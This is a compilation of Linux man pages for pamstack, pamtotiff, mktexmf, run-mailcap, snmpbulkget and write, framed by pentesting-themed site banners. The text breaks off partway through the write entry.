             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1277 - Linux cli command pamstack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamstack and provides detailed information about the command pamstack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamstack.

.

NAME 🖥️ pamstack 🖥️

stack planes of multiple PAM images into one PAM image

SYNOPSIS

pamstack [-tupletype tupletype] [-firstmaxval,-lcmmaxval] [inputfilespec …]

All options may be abbreviated to the shortest unique prefix. You may use two hyphens instead of one. You may separate an option from its value with a space instead of =.

DESCRIPTION

This program is part of Netpbm(1) .

pamstack reads multiple PAM or PNM images as input and produces a PAM image as output, consisting of all the planes (channels) of the inputs, stacked in the order specified.

It can also just change the tuple type of a single PAM image.

For any one (but not more) of the input files, you may specify “-” to mean Standard Input. If you specify no arguments at all, the input is one file: Standard Input.

The output is the same dimensions as the inputs, except that the depth is the sum of the depths of the inputs. The maxval is the same as the inputs if they are all alike, and controlled by -firstmaxval and -lcmmaxval if not. The tuple type is a null string unless you specify the -tupletype option.

pamstack fails if the inputs are not all the same width and height. It also fails if they do not all have the same maxval, unless you specify -firstmaxval or -lcmmaxval.

pamstack works with multi-image streams. It stacks the 1st image in all the streams into one output image (the first one in the output stream), then stacks the 2nd image in all the streams into the 2nd image in the output stream, and so on, until one of the streams runs dry. It’s like a matrix operation.

Before Netpbm 10.32 (February 2006), pamstack ignored all but the first image in each input stream.

pamchannel does the opposite of pamstack: It extracts individual planes from a single PAM.

Use pamtopnm(1) to convert a suitable PAM image to a more traditional PNM (PBM, PGM, or PPM) image. (But there’s no need to do that if you’re going to feed it to a modern Netpbm program – they all take suitable PAM input directly).

One example of using pamstack is that some Netpbm programs accept as input a PAM that represents graphic image with transparency information. Taking a color image for example, this would be a PAM with tuple type “RGB_ALPHA”. In Netpbm, such images were traditionally represented as two images - a PPM for the color and a PGM for the transparency. To convert a PPM/PGM pair into PAM(RGB_ALPHA) input that newer programs require, do something like this:

$ pamstack -tupletype=RGB_ALPHA myimage.ppm myalpha.pgm | \
      pamtouil >myimage.uil

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamstack recognizes the following command line option:

-tupletype tupletype
This specifies the tuple type name to be recorded in the output. You may use any string up to 255 characters. Some programs recognize some names. If you omit this option, the default tuple type name is null.

-firstmaxval
This says to make the maxval of the output the same as the maxval of the first image of the input; the program scales sample values of other images are as necessary.

By default, pamstack requires all the input images to have the same maxval. If they don’t, it fails.

You cannot specify this with -lcmmaxval.

This option was new in Netpbm 11.03 (June 2023).

-lcmmaxval
This says to make the maxval of the output the least common multiple of the maxvals of the input images, limited to 65535 if the LCM is above that; the program scales sample values of other images are as necessary.

By default, pamstack requires all the input images to have the same maxval. If they don’t, it fails.

You cannot specify this with -firstmaxval.

This option was new in Netpbm 11.03 (June 2023).

SEE ALSO

pam(1) pamchannel(1)

HISTORY

pamstack was new in Netpbm 10.0 (June 2002).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamstack.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1278 - Linux cli command pamtotiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtotiff and provides detailed information about the command pamtotiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtotiff.

.

NAME 🖥️ pamtotiff 🖥️

convert a Netpbm image to a TIFF file

SYNOPSIS

pamtotiff

[-none | -packbits | -lzw | -g3 | -g4 | -flate | -adobeflate]

[-2d]

[-fill]

[**-predictor=**n]

[-msb2lsb|-lsb2msb]

[**-rowsperstrip=**n]

[-minisblack|-miniswhite|mb|mw]

[-truecolor]

[-color]

[**-indexbits=bitwidthlist] [-xresolution=**xres]

[-yresolution=yres] [-resolutionunit={inch | centimeter | none | in | cm | no}]

[-append]

[**-tag=**taglist]

[pamfile]

You can use the minimum unique abbreviation of the options. You can use two hyphens instead of one. You can separate an option name from its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamtotiff reads a PNM or PAM image as input and produces a TIFF file as output.

Actually, it handles multi-image Netpbm streams, producing multi-image TIFF streams (i.e. a TIFF stream with multiple “directories”). But before Netpbm 10.27 (March 2005), it ignored all but the first Netpbm image in the input stream.

The Output File

By default, the output goes to Standard Output. Alternatively, you can specify an output file with the -output option and pamtotiff will write its output directly to that file.

Because of the way the TIFF library (which pamtotiff uses) works, when the program writes to Standard Output, it generates the entire TIFF image in a temporary file and then copies it to Standard Output; you may see negative performance effects of this.

The -output method avoids the performance effects of the copy through the temporary file, but there are restrictions on the output file: it must be seekable and it must be readable. The program fails if it is not. With Standard Output, neither of those restrictions applies.

With -output, if the file already exists and has data in it, pamtotiff appends the image to the existing TIFF file. (A TIFF file may contain multiple images).

By default, pamtotiff creates the file named by -output if it does not already exist. But if you also specify -append, the program fails if the file named by -output does not already exist.

Before Netpbm 10.67 (June 2014), there is no -output option and Standard Output must be seekable. So pipes are out.

Before Netpbm 10.67 (June 2014), you could append to Standard Output. See below. The current program does not have the ability; you must use -output to append to an existing TIFF file.

The difference above means current pamtotiff is actually not backward compatible, which is a rare thing for Netpbm. But it’s a good thing because the previous function was very strange and probably hardly ever exploited.

Old Versions

As alluded to above, pamtotiff does output very differently in releases before 10.67. The following describes the old function, which is unusual both for Netpbm and for Unix programs in general.

  • The output file must be seekable. pamtotiff does not write it sequentially. Therefore, you can’t use a pipe; you can’t pipe the output of pamtotiff to some other program. But any regular file should work.

  • If the output file descriptor is readable, you must either specify -append so as to add to the existing file, or make sure the file is empty. Otherwise, pamtotiff will fail with an unhelpful message telling you that a TIFF library function failed to open the TIFF output stream.

  • If you are converting multiple images (your input stream contains multiple images), the output file must be both readable and writable.

If you’re using a Unix command shell to run pamtotiff, you use facilities of your shell to set up Standard Output. In Bash, for example, you would set up a write-only Standard Output to the file /tmp/myimage.tiff like this:

    $ pamtotiff myimage.pnm >/tmp/myimage.tiff

In Bash, you would set up a read/write Standard Output to the file /tmp/myimage.tiff like this:

    $ pamtotiff myimage.pnm 1<>/tmp/myimage.tiff

TIFF Capability

pamtotiff uses the Libtiff.org TIFF library (or whatever equivalent you provide) to generate the TIFF output. Details of the format it produces are therefore controlled by that library.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtotiff recognizes the following command line options:

Compression

By default, pamtotiff creates a TIFF file with no compression. This is your best bet most of the time. If you want to try another compression scheme or tweak some of the other even more obscure output options, there are a number of options which to play.

Before Netpbm 8.4 (April 2000), the default was to use LZW compression. But then new releases of the TIFF library started omitting the LZW compression capability because of concern about patents on LZW. So since then, the default has been no compression. The LZW patents have now expired and new TIFF libraries do LZW, but the pamtotiff behavior remains the same for compatibility with older TIFF libraries and applications of pamtotiff.

The -none, -packbits, -lzw, -g3, -g4, -flate, and -adobeflate options are used to override the default and set the compression scheme used in creating the output file.

The -predictor option is meaningful only with LZW compression: a predictor value of 2 causes each scanline of the output image to undergo horizontal differencing before it is encoded; a value of 1 forces each scanline to be encoded without differencing. By default, pamtotiff creates a TIFF file with msb-to-lsb fill order. The -msb2lsb and -lsb2msb options are used to override the default and set the fill order used in creating the file.

With some older TIFF libraries, -lzw doesn’t work because the TIFF library doesn’t do LZW compression. This is because of concerns about Unisys’s patent on LZW which was then in force. Actually, with very old TIFF libraries, -lzw works because no distributors of the TIFF library were sensitive yet to the patent issue.

-flate chooses “flate” compression, which is the patent-free compression common in the Unix world implemented by the “Z” library. It is what the PNG format uses.

Fax Compression

If you have bilevel data (e.g. PBM), you can generate a TIFF that uses the same compression scheme specified for use by fax machines. See the Fax Format(1) page for more information on these compression schemes.

These formats all relate to ITU Group 3 and Group 4 fax machine standards.

The -g3 option chooses MH or MR compression: MR with the additional option -2d; MH without it. -g4 selects MMR. The option names are a little unfortunate and historical, but are consistent with the TIFF specification.

MMR has a better compression ratio than the other two.

-fill specifies that for MH or MR compression, each encoded scanline shall be zero-filled to a byte boundary.

-2d and -fill are meaningful only with -g3.

Fill Order

The -msb2lsb and lsb2msb options control the fill order.

The fill order is the order in which pixels are packed into a byte in the Tiff raster, in the case that there are multiple pixels per byte. msb-to-lsb means that the leftmost columns go into the most significant bits of the byte in the Tiff image. However, there is considerable confusion about the meaning of fill order. Some believe it means whether 16 bit sample values in the Tiff image are little-endian or big-endian. This is totally erroneous (The endianness of integers in a Tiff image is designated by the image’s magic number). However, ImageMagick and older Netpbm both have been known to implement that interpretation. 2001.09.06.

If the image does not have sub-byte pixels, these options have no effect other than to set the value of the FILLORDER tag in the Tiff image (which may be useful for those programs that misinterpret the tag with reference to 16 bit samples).

Color Space

-color tells pamtotiff to produce a color, as opposed to grayscale, TIFF image if the input is PPM, even if it contains only shades of gray. Without this option, pamtotiff produces a grayscale TIFF image if the input is PPM and contains only shades of gray, and at most 256 shades. Otherwise, it produces a color TIFF output. For PBM and PGM input, pamtotiff always produces grayscale TIFF output and this option has no effect.

The -color option can prevent pamtotiff from making two passes through the input file, thus improving speed and memory usage. See Multiple Passes .

-truecolor tells pamtotiff to produce the 24-bit RGB form of TIFF output if it is producing a color TIFF image. Without this option, pamtotiff produces a colormapped (paletted) TIFF image unless there are more than 256 colors (and in the latter case, issues a warning).

The -truecolor option can prevent pamtotiff from making two passes through the input file, thus improving speed and memory usage. See Multiple Passes .

The -color and -truecolor options did not exist before Netpbm 9.21 (December 2001).

If pamtotiff produces a grayscale TIFF image, this option has no effect.

The -minisblack and -miniswhite options force the output image to have a “minimum is black” or “minimum is white” photometric, respectively. If you don’t specify either, pamtotiff uses minimum is black except when using Group 3 or Group 4 compression, in which case pamtotiff follows CCITT fax standards and uses “minimum is white.” This usually results in better compression and is generally preferred for bilevel coding. These photometrics are for grayscale images, so these options are invalid if the image is color (but only if it is truly color; they are valid with, for example, a PPM image that contains only shades of gray).

Before Netpbm 9.11 (February 200)1, pamtotiff always produced “minimum is black,” because of a bug. In either case, pamtotiff sets the photometric interpretation tag in the TIFF output according to which photometric is actually used.

Before Netpbm 10.78 (March 2017), pamtotiff respected -miniswhite and -minisblack even with color images, producing invalid TIFF images that have the indicated photometric but red, green, and blue raster planes.

The -indexbits option is meaningful only for a colormapped (paletted) image. In this kind of image, the raster contains values which are indexes into a table of colors, with the indexes normally taking less space that the color description in the table. pamtotiff can generate indexes of 1, 2, 4, or 8 bits. By default, it will use 8, because many programs that interpret TIFF images can’t handle any other width.

But if you have a small number of colors, you can make your image considerably smaller by allowing fewer than 8 bits per index, using the -indexbits option. The value is a comma-separated list of the bit widths you allow. pamtotiff chooses the smallest width you allow that allows it to index the entire color table. If you don’t allow any such width, pamtotiff fails. Normally, the only useful value for this option is 1,2,4,8, because a program either understands the 8 bit width (default) or understands them all.

In a Baseline TIFF image, according to the 1992 TIFF 6.0 specification, 4 and 8 are the only valid widths. There are no formal standards that allow any other values.

This option was added in June 2002. Before that, only 8 bit indices were possible.

Extra Tags

There are lots of tag types in the TIFF format that don’t correspond to any information in the PNM format or to anything in the conversion process. For example, a TIFF_ARTIST tag names the artist who created the image.

You can tell pamtotiff explicitly to include tags such as this in its output with the -tag option. You identify a list of tag types and values and pamtotiff includes a tag in the output for each item in your list.

The value of -tag is the list of tags, like this example:

    -tag=subfiletype=reducedimage,documentname=Fred,xposition=25

As you see, it is a list of tag specifications separated by commas. Each tag specification is a name and a value separated by an equal sign. The name is the name of the tag type, except in arbitrary upper/lower case. One place to see the names of TIFF tag types is in the TIFF library’s tiff.h file, where there is a macro defined for each consisting of “TIFF_” plus the name. E.g. for the SUBFILETYPE tag type, there is a macro TIFF_SUBFILETYPE.

The format of the value specification for a tag (stuff after the equal sign) depends upon what kind of value the tag type has:

  • Integer: a decimal number

  • Floating point number: a decimal number

  • String: a string

  • Enumerated (For example, a ‘subfiletype’ tag takes an enumerated value. Its possible values are REDUCEDIMAGE, PAGE, and MASK.): The name of the value. You can see the possible value names in the TIFF library’s tiff.h file, where there is a macro defined for each consisting of a qualifier plus the value name. E.g. for the REDUCEDIMAGE value of a SUBFILETYPE tag, you see the macro FILETYPE_REDUCEDIMAGE.

The TIFF format assigns a unique number to each enumerated value and you can specify that number, in decimal, as an alternative. This is useful if you are using an extension of TIFF that pamtotiff doesn’t know about.

If you specify a tag type with -tag that is not independent of the content of your PNM source image and pamtotiff’s conversion process (i.e. a tag type in which pamtotiff is interested), pamtotiff fails. For example, you cannot specify an IMAGEWIDTH tag with -tag, because pamtotiff generates an IMAGEWIDTH tag that gives the actual width of the image.

-tag was new in Netpbm 10.31 (December 2005).

Output

See The Output File .

-output names the output file. Without this option pamtotiff writes to Standard Output.

The -append option tells pamtotiff only to append to the file named by output; not create it. Without this option, the program creates the file it does not already exist. But even then, if the file does already exist, the program appends the image to what is in the file already. (A TIFF file may contain multiple images).

-append has no effect if you don’t also specify -output.

Before Netpbm 10.67 (June 2014), -append means something rather different: it means to append the image to the output TIFF file (which is always Standard Output in 10.67) instead of replacing its contents.

-append was new in Netpbm 10.27 (March 2005).

Other

You can use the -rowsperstrip option to set the number of rows (scanlines) in each strip of data in the output file. By default, the output file has the number of rows per strip set to a value that will ensure each strip is no more than 8 kilobytes long.

NOTES

There are myriad variations of the TIFF format, and this program generates only a few of them. pamtotiff creates a grayscale TIFF file if its input is a PBM (monochrome) or PGM (grayscale) or equivalent PAM file. pamtotiff also creates a grayscale file if it input is PPM (color) or equivalent PAM, but there is only one color in the image.

If the input is a PPM (color) file and there are 256 colors or fewer, but more than 1, pamtotiff generates a color palette TIFF file. If there are more colors than that, pamtotiff generates an RGB (not RGBA) single plane TIFF file. Use pnmtotiffcmyk to generate the cyan-magenta-yellow-black ink color separation TIFF format.

The number of bits per sample in the TIFF output is determined by the maxval of the Netpbm input. If the maxval is less than 256, the bits per sample in the output is the smallest number that can encode the maxval. If the maxval is greater than or equal to 256, there are 16 bits per sample in the output.

Extra Channels

Like most Netpbm programs, pamtotiff’s function is mostly undefined if the input is PAM image with tuple type other than BLACKANDWHITE, GRAYSCALE, or RGB. Most of the statements in this manual assume the input is not such an exotic PAM. But there is a little defined processing of other PAM subformats.

pamtotiff assumes any 1 plane PAM image is BLACKANDWHITE or GRAYSCALE (and doesn’t distinguish between those two).

pamtotiff assumes a PAM with more than 1 plane is of tuple type RGB except with that number of planes instead of 3. pamtotiff doesn’t really understand red, green, and blue, so it has no trouble with a 2-component or 5-component color space. The TIFF format allows an arbitrary number of color components, so pamtotiff simply maps the PAM planes directly to TIFF color components. I don’t know if the meanings of 5 components in a TIFF image are standard at all, but the function is there if you want to use it.

Note that pamtotiff may generate either a truecolor or colormapped image with an arbitrary number of color components. In the truecolor case, the raster has that number of planes. In the colormapped case, the raster has of course 1 plane, but the color map has all the color components in it.

The most common reason for a PAM to have extra planes is when the tuple type is xxx_ALPHA, which means the highest numbered plane is a transparency plane (alpha channel). At least one user found that a TIFF with an extra plane for transparency was useful.

Note that the grayscale detection works on N-component colors, so if your planes aren’t really color components, you’ll want to disable this via the -color option.

Multiple Passes

pamtotiff reads the input image once if it can, and otherwise twice. It needs that second pass (which happens before the main pass, of course) to analyze the colors in the image and generate a color map (palette) and determine if the image is grayscale. So the second pass happens only when the input is PPM. And you can avoid it then by specifying both the -truecolor and -color options.

If the input image is small enough to fit in your system’s file cache, the second pass is very fast. If not, it requires reading from disk twice, which can be slow.

When the input is from a file that cannot be rewound and reread, pamtotiff reads the entire input image into a temporary file which can, and works from that. Even if it needs only one pass.

Before Netpbm 9.21 (December 2001), pamtotiff always read the entire image into virtual memory and then did one, two, or three passes through the memory copy. The -truecolor and -color options did not exist. The passes through memory would involve page faults if the entire image did not fit into real memory. The image in memory required considerably more memory (12 bytes per pixel) than the cached file version of the image would.

Resolution

A Tiff image may contain information about the resolution of the image, which means how big in real dimensions (centimeters, etc.) each pixel in the raster is. That information is in the TIFF XRESOLUTION, YRESOLUTION, and RESOLUTIONUNIT tags. By default, pamtotiff does not include any tags of these types, but you can specify them with the -tags option.

There are also options -xresolution, -yresolution, and -resolutionunit, but those are obsolete. Before -tags existed (before Netpbm 10.31 (December 2005), they were the only way.

Note that the number of pixels in the image and how much information each contains is determined independently from the setting of the resolution tags. The number of pixels in the output is the same as in the input, and each pixel contains the same information. For your resolution tags to be meaningful, they have to consistent with whatever created the PNM input. E.g. if a scanner turned a 10 centimeter wide image into a 1000 pixel wide PNM image, then your horizontal resolution is 100 pixels per centimeter, and if your XRESOLUTION tag says anything else, something that prints your TIFF image won’t print the proper 10 centimeter image.

The value of the XRESOLUTION tag is a floating point decimal number that tells how many pixels there are per unit of distance in the horizontal direction. -yresolution is analogous for the vertical direction.

The unit of distance is given by the value of the RESOLUTIONUNIT option. That value is either INCH, CENTIMETER, or NONE. NONE means the unit is arbitrary or unspecified. This could mean that the creator and user of the image have a separate agreement as to what the unit is. But usually, it just means that the horizontal and vertical resolution values cannot be used for anything except to determine aspect ratio (because even though the unit is arbitrary or unspecified, it has to be the same for both resolution numbers).

If you don’t use a -tag option to specify the resolution tag and use the obsolete options instead, note the following:

  • If you don’t include an specify -xresolution, the Tiff image does not contain horizontal resolution information. Likewise for -yresolution. If you don’t specify -resolutionunit, the default is inches.

  • Before Netpbm 10.16 (June 2003), -resolutionunit did not exist and the resolution unit was always inches.

HISTORY

pamtotiff was originally pnmtotiff and did not handle PAM input. It was extended and renamed in Netpbm 10.30 (October 2005).

SEE ALSO

tifftopnm(1) , pnmtotiffcmyk(1) , pamdepth(1) , pamtopnm(1) , pam(1)

AUTHOR

Derived by Jef Poskanzer from ras2tiff.c, which is Copyright (c) 1990 by Sun Microsystems, Inc. Author: Patrick J. Naughton ([email protected]).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtotiff.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1279 - Linux cli command mktexmf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mktexmf and provides detailed information about the command mktexmf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mktexmf.

NAME 🖥️ mktexmf 🖥️

create a Metafont source file

SYNOPSIS

mktexmf font

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Kpathsea: A library for path searching.

mktexmf is used to generate the Metafont source file for font, if possible. For example, ecrm1200 or cmr11.

The name of the generated file is printed on standard output.

mktexmf is typically called by other programs, rather than from the command line.

OPTIONS

mktexmf accepts the following options:

–help
Print help message and exit.

–version
Print version information and exit.

SEE ALSO

mktexpk(1), mktextfm(1).

REPORTING BUGS

Report bugs to: [email protected] (https://lists.tug.org/tex-k)
TeX Live home page: https://tug.org/texlive/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1280 - Linux cli command run-mailcap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command run-mailcap and provides detailed information about the command run-mailcap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the run-mailcap.

NAME 🖥️ run-mailcap 🖥️

mailcap, view, see, edit, compose, print - execute programs via entries in the mailcap file

SYNOPSIS

run-mailcap –action=ACTION [–option[=value]] [MIME-TYPE:[ENCODING:]]FILE […]

The see, edit, compose and print versions are just aliases that default to the view, edit, compose, and print actions (respectively).

DESCRIPTION

run-mailcap (or any of its aliases) will use the given action to process each mime-type/file in turn. Each file is specified as its mime-type, its encoding (e.g. compression), and filename together, separated by colons. If the mime-type is omitted, an attempt to determine the type is made by trying to match the file’s extension with those in the mime.types files. If no mime-type is found, a last attempt will be done by running the file command, if available. If the encoding is omitted, it will also be determined from the file’s extensions. Currently supported encodings are gzip (.gz), bzip2 (.bz2), xz (.xz), zstd (.zst[d]), and compress (.Z). A filename of “-” can be used to mean “standard input”, but then a mime-type must be specified.

Both the user’s files (~/.mailcap; ~/.mime.types) and the system files (/etc/mailcap; /etc/mime.types) are searched in turn for information.

EXAMPLES

see picture.jpg print output.ps.gz compose text/html:index.htm extract-mail-attachment msg.txt | see image/tiff:gzip:-

OPTIONS

All options are in the form –<opt>=<value>.

–action=<action>
Performs the specified action on the files. Valid actions are view, cat (uses only “copiousoutput” rules and sends output to STDOUT), compose, composetyped, edit and print. If no action is specified, the action will be determined by how the program was called.

–debug
Turns on extra information to find out what is happening.

–nopager
Ignores any “copiousoutput” directive and sends output to STDOUT.

–norun
Displays the found command without actually executing it.

SECURITY

A temporary symbolic link to the file is opened if the file name matches the Perl regular expression “[^[:alnum:],.:/@%^+=_-]”, in order to protect from the injection of shell commands, and to make sure that the name can always be displayed in the current locale. In addition, the file is opened using its absolute path to prevent the injection of command-line arguments, for instance using file names starting with dashes.

SEE ALSO

file(1) mailcap(5) mailcap.order(5) update-mime(8)

AUTHOR

run-mailcap (and its aliases) was written by Brian White <[email protected]>.

COPYRIGHT

run-mailcap (and its aliases) is in the public domain (the only true “free”).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1281 - Linux cli command snmpbulkget

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpbulkget and provides detailed information about the command snmpbulkget, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpbulkget.

NAME 🖥️ snmpbulkget 🖥️

communicates with a network entity using SNMP GETBULK requests.

SYNOPSIS

snmpbulkget [COMMON OPTIONS] [-Cn <num>] [-Cr <NUM>] AGENT OID [OID]…

DESCRIPTION

snmpbulkget is an SNMP application that uses the SNMP GETBULK request to query a network entity efficiently for information. One or more object identifiers (OIDs) may be given as arguments on the command line. Each variable name is given in the format specified in variables(5).

If the network entity has an error processing the request packet, an error packet will be returned and a message will be shown, helping to pinpoint why the request was malformed.

OPTIONS

-Cn*<NUM>*
Set the non-repeaters field in the GETBULK PDU. This specifies the number of supplied variables that should not be iterated over. The default is 0.

-Cr*<NUM>*
Set the max-repetitions field in the GETBULK PDU. This specifies the maximum number of iterations over the repeating variables. The default is 10.

In addition to these options, snmpbulkget takes the common options described in the snmpcmd(1) manual page. Note that snmpbulkget REQUIRES an argument specifying the agent to query and at least one OID argument, as described there.

EXAMPLE

The command:

snmpbulkget -v2c -Cn1 -Cr5 -Os -c public zeus system ifTable

will retrieve the variable system.sysDescr.0 (which is the lexicographically next object to system) and the first 5 objects in the ifTable:

sysDescr.0 = STRING: “SunOS zeus.net.cmu.edu 4.1.3_U1 1 sun4m”
ifIndex.1 = INTEGER: 1
ifIndex.2 = INTEGER: 2
ifDescr.1 = STRING: “lo0”
et cetera.

NOTE

As the name implies, snmpbulkget utilizes the SNMP GETBULK message, which is not available in SNMPv1.

SEE ALSO

snmpcmd(1), variables(5), RFC 1905.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1282 - Linux cli command write

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command write and provides detailed information about the command write, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the write.

NAME 🖥️ write 🖥️

send a message to another user

SYNOPSIS

write user [ttyname]

DESCRIPTION

write allows you to communicate with other users, by copying lines from your terminal to theirs.

When you run the write command, the user you are writing to gets a message of the form:

Message from yourname@yourhost on yourtty at hh:mm …

Any further lines you enter will be copied to the specified user’s terminal. If the other user wants to reply, they must run write as well.

When you are done, type an end-of-file or interrupt character. The other user will see the message EOF indicating that the conversation is over.

You can prevent people (other than the superuser) from writing to you with the mesg(1) command. Some commands, for example nroff(1) and pr(1), may automatically disallow writing, so that the output they produce isn’t overwritten.

If the user you want to write to is logged in on more than one terminal, you can specify which terminal to write to by giving the terminal name as the second operand to the write command. Alternatively, you can let write select one of the terminals - it will pick the one with the shortest idle time. This is so that if the user is logged in at work and also dialed up from home, the message will go to the right place.

